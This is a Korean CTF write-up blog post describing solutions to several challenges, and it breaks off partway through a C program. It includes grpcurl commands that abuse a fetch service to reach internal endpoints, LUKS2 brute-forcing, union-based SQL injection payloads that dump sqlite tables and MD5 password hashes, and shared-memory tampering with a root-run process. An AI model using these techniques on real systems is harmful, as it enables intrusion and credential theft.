&lt;h2 id=&quot;lets-cook-some-delicious-goose&quot;&gt;Let’s Cook Some Delicious Goose&lt;/h2&gt;

&lt;h3 id=&quot;문제-상황-1&quot;&gt;문제 상황&lt;/h3&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2025-07-07-1.png&quot; alt=&quot;파일목록&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;
&lt;img src=&quot;/assets/img/posts/2025-07-07-2.png&quot; alt=&quot;파일&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;간단한 웹서버 및 패킷 캡춰본, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.proto&lt;/code&gt;파일이 주어졌습니다.&lt;/p&gt;

&lt;h3 id=&quot;분석-과정-1&quot;&gt;분석 과정&lt;/h3&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wireshark&lt;/code&gt; 패킷 분석을 통해 웹서버에 맞는 패킷을 찾으려 하였으나 찾지 못했었습니다.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.proto&lt;/code&gt;파일이 단서라고 생각해 관련되어 찾아보았고, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;grpc&lt;/code&gt;파일이라는 것을 찾았습니다.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2025-07-07-3.png&quot; alt=&quot;패킷&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wireshark&lt;/code&gt;에 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.proto&lt;/code&gt;파일을 등록하고 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;grpc&lt;/code&gt;를 검색하여 패킷을 발견하여 따라갔습니다.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2025-07-07-4.png&quot; alt=&quot;패킷2&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;grpcurl&lt;/code&gt;을 이용해 패킷을 보낸것으로 보이며, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;grpc&lt;/code&gt;로 링크를 줄 시, 해당 링크에 접속해 응답값을 주는 모양입니다.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;grpcurl&lt;/code&gt;을 이용해 웹서버의 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;flag&lt;/code&gt;를 요청했습니다.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;go &lt;span class=&quot;nb&quot;&gt;install &lt;/span&gt;github.com/fullstorydev/grpcurl/cmd/grpcurl@latest

grpcurl &lt;span class=&quot;nt&quot;&gt;-plaintext&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-proto&lt;/span&gt; fetch.proto &lt;span class=&quot;nt&quot;&gt;-d&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;{&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;url&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;http://localhost:80/token&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;method&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;GET&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;headers&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;:{}}&quot;&lt;/span&gt; 1.2.3.4:6666 fetch.FetchService/FetchURL

grpcurl &lt;span class=&quot;nt&quot;&gt;-plaintext&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-proto&lt;/span&gt; fetch.proto &lt;span class=&quot;nt&quot;&gt;-d&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;{&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;url&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;http://localhost:80/flag&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;method&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;POST&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;headers&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;:{&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;Content-Type&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;application/x-www-form-urlencoded&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;},&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;body&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;token=REDACTED&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;}&quot;&lt;/span&gt; 1.2.3.4:6666 fetch.FetchService/FetchURL
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;crackme&quot;&gt;Crackme&lt;/h2&gt;

&lt;h3 id=&quot;문제-상황-2&quot;&gt;문제 상황&lt;/h3&gt;

&lt;p&gt;Qemu Disk(&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;qcow2&lt;/code&gt;)파일이 주어졌습니다.&lt;/p&gt;

&lt;h3 id=&quot;분석-과정-2&quot;&gt;분석 과정&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;Qemu로 실행함 -&amp;gt; 패스워드가 걸려있음&lt;/li&gt;
  &lt;li&gt;검색하여 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;qcow2&lt;/code&gt;파일을 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wsl2&lt;/code&gt;에 마운트 하였습니다. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;qcow2&lt;/code&gt;파일은 부트볼륨, 데이터볼륨, luks 암호화볼륨으로 되어있었습니다.&lt;/li&gt;
  &lt;li&gt;다음과 같은 파일이 있었습니다.
&lt;img src=&quot;/assets/img/posts/2025-07-07-5.png&quot; alt=&quot;패킷2&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;photorec&lt;/code&gt;은 지워진 파일 복구 도구입니다.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.photorec.sig&lt;/code&gt;파일을 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;current dir&lt;/code&gt;로 옮긴 뒤, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;photorec.sig&lt;/code&gt; 명칭변경하여 sig 적용 후 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;photorec&lt;/code&gt;을 실행하였습니다. 옵션을 통해 타겟은 커스텀 파일로만 하였습니다.&lt;/li&gt;
  &lt;li&gt;1기가 등의 큰 파일이 나왔습니다. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;head&lt;/code&gt;명령어를 통해 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;NHNCKEY2025____&lt;/code&gt;로 시작하는 4111바이트를 빼내, 키로 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;luks&lt;/code&gt;드라이브를 열었습니다.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cryptsetup luksOpen /dev/nbd0p2 ww3 --key-file key&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;암호화 된 드라이브 파일이 또 나왔으며, wordlist가 나왔습니다. wordlist엔 1000라인의 키가 있었습니다.&lt;/li&gt;
  &lt;li&gt;해시캣이나 툴을 이용해 luks 복호화를 시도했지만, 새로 나온 드라이브는 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;luks2&lt;/code&gt;로 암호화 되어 툴들이 먹히지 않았습니다.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;luks2&lt;/code&gt;에 먹히는 &lt;a href=&quot;https://github.com/glv2/bruteforce-luks&quot;&gt;https://github.com/glv2/bruteforce-luks&lt;/a&gt; 툴을 이용해 복호화를 시도하였습니다&lt;/li&gt;
  &lt;li&gt;12스레드 1시간 40% 복호화 진행되였습니다.&lt;/li&gt;
  &lt;li&gt;맥을 가진 팀원의 도움으로 복호화를 빠르게 시도하여 키를 발견하였습니다. 환경별로 성능 영향이 큰 듯 합니다.&lt;/li&gt;
  &lt;li&gt;풀린 파일 내부에는 플래그가 바로 있었습니다.
&lt;img src=&quot;/assets/img/posts/2025-07-07-6.png&quot; alt=&quot;플래그&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;iced-shell&quot;&gt;ICED-SHELL&lt;/h2&gt;

&lt;h3 id=&quot;문제-상황-3&quot;&gt;문제 상황&lt;/h3&gt;

&lt;p&gt;윈도우 exe파일 및 패킷 파일이 주어졌습니다.&lt;/p&gt;

&lt;h3 id=&quot;분석-과정-3&quot;&gt;분석 과정&lt;/h3&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2025-07-07-7.png&quot; alt=&quot;패킷 파일&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;
&lt;img src=&quot;/assets/img/posts/2025-07-07-8.png&quot; alt=&quot;실행 파일&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;패킷은 이미지에 있는 내용이 전부였으며, Exe는 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;node&lt;/code&gt; 스크립트를 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pkg&lt;/code&gt;명령어를 통해 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;exe&lt;/code&gt;로 번들한 파일이였습니다.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;node&lt;/code&gt;내부 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;js&lt;/code&gt; 추출 시도하였습니다.
    &lt;ul&gt;
      &lt;li&gt;데이터 영역에 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;js&lt;/code&gt; 코드가 있는지 찾아보았으나 실행 영역은 찾지 못했습니다&lt;/li&gt;
      &lt;li&gt;unpacker를 이용해 추출하였으나 바이트코드가 나와 일부 데이터만 알아볼 수 있었습니다.
        &lt;ul&gt;
          &lt;li&gt;문제를 푼 후, 해당 바이트 코드는 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;v8 jsc decompiler&lt;/code&gt;를 통해 디스어셈블 및 디컴파일 할 수 있단 것을 알게 되었습니다.
&lt;img src=&quot;/assets/img/posts/2025-07-07-9.png&quot; alt=&quot;추출된 파일&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/li&gt;
        &lt;/ul&gt;
      &lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AE50o00ooo00K3Y!&lt;/code&gt;을 키로 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wireshark&lt;/code&gt;로 건내 받은 패킷을 복호화하였습니다. 처음은 복호화가 되나, iv가 random이여서 전부 복호화 되진 않았습니다.
&lt;img src=&quot;/assets/img/posts/2025-07-07-10.png&quot; alt=&quot;일부 복호화&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;아래는 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;wireshark&lt;/code&gt;를 통해 추출된 데이터들입니다.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;[0] ca0f3858cc55d5cc85e2fc8d56eae91e
[1] 5a5521129bafca683bc57e41fdf60392
[2] 2fb91c41dde3098addb4942e2fcbc5d82628fa5bf21a63025b19ebb5514a962d
[3] 1ed0812489fd84ef9a5cf0b4de13eb9b
[4] 90829fb86395ecc44d6f8a96bf9d3918f6ec91ab8a1cdc279cc1cf042e05f4c1cd0df8c49805a655a8eccab8ff09377a377306820376e5ea6461a3de5baaae1141622d9a5d46de8c9b53e3854901143b529a319c9d640ae07ae2d6559e4c9e3646c86fafb7f865f7927a94b61950c18da6efd7495175c8ddffd2edfa85a88a7616f2a0fc776c75e5c260d295e9e4c9b29a87d993dd634493f4975baf9015c263d6bc3a95cf6a247f9c3472fbb557f362bdca9af38684193ab0acf97393c150a48592367d6296941a31eda69eb8d814f4
[5] 8a57280e413562adf563d1add9dddf5e693afa47241a1336eaaf4594bfd7c90e2d4a14a5496babc0ad64a80af6b0c7cff8650753bf7b6bb6498ea3763fc42d2f
[6] ed5277d977b5ba9002223115a6656276b738136f94a5e85e496d1cd7bb3320424c056cb99b54480ae981261c73a242b037f6142eb58a7d92362b39ef0f0c2490
[7] eabb91d51534666e1b74e5843c5ed662966f9bf000b0e82a794082336bea0e8d4b9653b9e9e08f14d31c697d6626a71f
[8] 3eac4f8272ccbd86ee4ef4bf4e8d053d0046b97c1d0cb8da3e35820478d1a87f
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;키가 랜덤이라는 것에 중점을 두어, 첫번째나 두번째 메세지를 iv로 두고 복호화하였으며, 플랙그 값을 얻어냈습니다.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2025-07-07-11.png&quot; alt=&quot;플래그&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;guessyctf&quot;&gt;GuessyCTF&lt;/h2&gt;

&lt;h3 id=&quot;문제-상황-4&quot;&gt;문제 상황&lt;/h3&gt;

&lt;p&gt;.&lt;/p&gt;

&lt;h3 id=&quot;분석-과정-4&quot;&gt;분석 과정&lt;/h3&gt;

&lt;p&gt;분석 컨텍스트가 너무 길어 요약만 남깁니다.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;문제파일에 주어진 움짤을 프레임단위로 잘라, 접속 주소 및 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;웹 계산기&lt;/code&gt;라는 힌트를 받음&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nc&lt;/code&gt;를 통해 해당 주소에 접근, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;+-*/()&lt;/code&gt; 및 숫자만 입력 가능한 계산기였음&lt;/li&gt;
  &lt;li&gt;디스코드 메세지에 출제자가 보낸 메세지를 보아, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;w&amp;gt;&amp;lt;h&amp;gt;&amp;lt;a&amp;gt;&amp;lt;l&amp;gt;&amp;lt;e&amp;gt; &amp;lt;server&amp;gt; &amp;lt;i&amp;gt;&amp;lt;s&amp;gt; &amp;lt;h&amp;gt;&amp;lt;and&amp;gt;&amp;lt;some&amp;gt;&amp;lt;!&amp;gt;&lt;/code&gt;라는 메세지를 추출해냈으며, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&amp;lt;h&amp;gt;&amp;lt;and&amp;gt;&amp;lt;some&amp;gt;&amp;lt;!&amp;gt;&lt;/code&gt;의 순서에 해당하는 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;9, 10, 11, 12&lt;/code&gt;를 추출해냈습니다.&lt;/li&gt;
  &lt;li&gt;웹 계산기의 정답은 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;9+10+11+12&lt;/code&gt;였습니다. 그냥 42라고 입력해도 정답이여서, 브루트포스 하는게 편할뻔했습니다.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nc&lt;/code&gt; 정답에서 나온 암호문을 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;whale...&lt;/code&gt;로 복호화하였습니다.
&lt;img src=&quot;/assets/img/posts/2025-07-07-12.png&quot; alt=&quot;복호화&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/li&gt;
  &lt;li&gt;트위터에 들어가보니 페이즈북 주소가 있었으며, 페이스북에 가보니 개인 블로그 주소가 있었습니다.
&lt;img src=&quot;/assets/img/posts/2025-07-07-13.png&quot; alt=&quot;블로그&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sqlite&lt;/code&gt;키워드로, 로그인에 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sqlinjection&lt;/code&gt;을 시도했으나 실패했습니다.&lt;/li&gt;
  &lt;li&gt;블로그 글은 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;...com/post?id=1&lt;/code&gt;방식으로 불러지고 있었으며, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;id=1--&lt;/code&gt;을 넣어보니 정상 동작됐으며, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;id=1 and 1!=1&lt;/code&gt;을 넣어보니 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;id=999&lt;/code&gt;를 넣은것과 같은 결과가 떴습니다.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;id=1 and 1!=1 union select &quot;1&quot;, &quot;2&quot;&lt;/code&gt; 등을 통해 갯수를 늘려보았고, 3개의 값을 받아 표시하는것을 알아냈습니다. 두번재 값이 제목, 세번째 값이 내용이었습니다.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;id=1 and 1!=1 union select &quot;t&quot;,name,sql from sqlite_master where type=&apos;table&apos; limit 1 offset 2&lt;/code&gt; 을 통해 유저테이블이 어떻게 이루어져있는지 확인했으며
&lt;img src=&quot;/assets/img/posts/2025-07-07-14.png&quot; alt=&quot;계정 정보&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/li&gt;
  &lt;li&gt;3개의 계정정보아 비밀번호 해시를 알아냈습니다.&lt;/li&gt;
  &lt;li&gt;3개 계정에 대한 암호를 md5 복호화하여 알아내 로그인하니 플래그가 나왔습니다.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;server-status-revenge&quot;&gt;Server Status (Revenge)&lt;/h2&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Server Status Revenge&lt;/code&gt;과 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Server Status&lt;/code&gt;를 같은 코드로 풀었습니다.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Server Status&lt;/code&gt; 문제는 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dmesg&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Server Status Revenge&lt;/code&gt;문제는 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/usr/bin/dmesg&lt;/code&gt;를 호출했다고 합니다.&lt;/p&gt;

&lt;p&gt;호출되는 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dmesg&lt;/code&gt;를 조작할 수 있었던 것 같습니다.&lt;/p&gt;

&lt;h3 id=&quot;문제-상황-5&quot;&gt;문제 상황&lt;/h3&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2025-07-07-15.png&quot; alt=&quot;서버 내부&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;
&lt;img src=&quot;/assets/img/posts/2025-07-07-16.png&quot; alt=&quot;프로그램 디컴파일 결과&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;루트로 실행되는 프로그램이 있었으며, 공유메모리를 통해 데이터를 저장한, 불러와서 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;dmesg&lt;/code&gt;를 실행하고 있었습니다.&lt;/p&gt;

&lt;h3 id=&quot;분석-과정-5&quot;&gt;분석 과정&lt;/h3&gt;

&lt;p&gt;gcc가 가능하여 다음 파일을 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sftp&lt;/code&gt;로 넣은 뒤 컴파일 하여 실행하였습니다.&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;#include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;
#include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&amp;lt;stdlib.h&amp;gt;&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;
#include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&amp;lt;string.h&amp;gt;&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;
#include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&amp;lt;sys/ipc.h&amp;gt;&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;
#include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&amp;lt;sys/shm.h&amp;gt;&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;
#include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&amp;lt;unistd.h&amp;gt;&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;
#include&lt;/span&gt; &lt;span class=&quot;cpf&quot;&gt;&amp;lt;errno.h&amp;gt;&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;
&lt;/span&gt;
&lt;span class=&quot;cp&quot;&gt;#define SHM_SIZE 1024
#define MAX_KEY 0xFFFFF      // 스캔할 최대 키 값
#define SCAN_INTERVAL_SEC 1  // 전체 스캔 주기 (초)
&lt;/span&gt;
 &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;find_and_write&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;key_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
     &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;shm_id&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
     &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;shm_addr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

     &lt;span class=&quot;c1&quot;&gt;// IPC_CREAT 플래그 없이 shmget을 호출하여 해당 key의 메모리가 &apos;존재하는지&apos; 확인합니다.&lt;/span&gt;
     &lt;span class=&quot;n&quot;&gt;shm_id&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;shmget&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;SHM_SIZE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mo&quot;&gt;0666&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
     &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;shm_id&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
         &lt;span class=&quot;c1&quot;&gt;// 대부분의 키는 메모리가 없으므로, 실패하는 것이 정상입니다.&lt;/span&gt;
         &lt;span class=&quot;c1&quot;&gt;// 따라서 오류 메시지 없이 조용히 반환합니다.&lt;/span&gt;
         &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
     &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

     &lt;span class=&quot;c1&quot;&gt;// 이 줄에 도달했다면, 해당 key의 공유 메모리를 찾은 것입니다.&lt;/span&gt;
     &lt;span class=&quot;n&quot;&gt;printf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;발견 (Key: %u)! 데이터 쓰기를 시도합니다...&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

     &lt;span class=&quot;n&quot;&gt;shm_addr&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;shmat&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;shm_id&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
